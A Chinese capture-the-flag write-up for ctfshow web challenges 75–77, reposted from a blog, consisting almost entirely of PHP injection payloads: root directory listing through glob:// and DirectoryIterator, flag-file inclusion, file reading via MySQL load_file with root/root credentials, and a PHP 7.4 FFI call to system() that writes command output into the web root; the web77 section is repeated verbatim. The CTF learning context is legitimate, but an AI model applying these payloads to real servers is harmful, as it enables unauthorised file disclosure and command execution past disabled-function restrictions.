c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录,本题禁用
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag36.txt
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flag36.txt
利用文件包含     //文件包含此题禁用
c=include('/flag36.txt');exit();
c=require('/flag36.txt');exit();
c=require_once('/flag36.txt');exit();
c=include_once('/flag36.txt');exit();
//引入新姿势   数据库读取文件,数据库的用户名密码可以通过前几道题得到,那前几道题岂不是也能这么做?
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

做题姿势和上一题基本一样

根据上几题的payload,过滤掉了print_r()、var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		//本题禁用
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录,本题禁用
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag36d.txt
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flag36d.txt
利用文件包含     //文件包含此题禁用
c=include('/flag36.txt');exit();
c=require('/flag36.txt');exit();
c=require_once('/flag36.txt');exit();
c=include_once('/flag36.txt');exit();
//引入新姿势   数据库读取文件,数据库的用户名密码可以通过前几道题得到,那前几道题岂不是也能这么做?
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

先复制下来上面题的payload,然后测试,找不同

命令接口

根据上几题的payload,过滤掉了print_r()、var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		//本题禁用
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录,本题禁用
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag36x.txt
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flag36x.txt
利用文件包含     //文件包含此题禁用
c=include('/flag36.txt');exit();
c=require('/flag36.txt');exit();
c=require_once('/flag36.txt');exit();
c=include_once('/flag36.txt');exit();
//引入新姿势   数据库读取文件,数据库的用户名密码可以通过前几道题得到,那前几道题岂不是也能这么做?
//然而这道题竟然不能这么做
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
在题中说到php7.4,可以利用php7.4的特性
//命令接口
c=$ffi=FFI::cdef("int system(const char *command);");
$a='readflag>/var/www/html/1.txt';	
//这里放命令就行,readflag是题目里面的一个脚本$ffi->system($a);
//然后在url栏中访问1.txt

web118及以后的命令执行

欲知后事如何,请听下回分解。。。

命令接口

根据上几题的payload,过滤掉了print_r()、var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		//本题禁用
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录,本题禁用
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag36x.txt
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flag36x.txt
利用文件包含     //文件包含此题禁用
c=include('/flag36.txt');exit();
c=require('/flag36.txt');exit();
c=require_once('/flag36.txt');exit();
c=include_once('/flag36.txt');exit();
//引入新姿势   数据库读取文件,数据库的用户名密码可以通过前几道题得到,那前几道题岂不是也能这么做?
//然而这道题竟然不能这么做
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
在题中说到php7.4,可以利用php7.4的特性
//命令接口
c=$ffi=FFI::cdef("int system(const char *command);");
$a='readflag>/var/www/html/1.txt';	
//这里放命令就行,readflag是题目里面的一个脚本$ffi->system($a);
//然后在url栏中访问1.txt

web118及以后的命令执行

欲知后事如何,请听下回分解。。。

标签:__,php,echo,命令,flag,ctfshow,file,txt,执行
来源: https://blog.csdn.net/m0_57497184/article/details/122735215

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有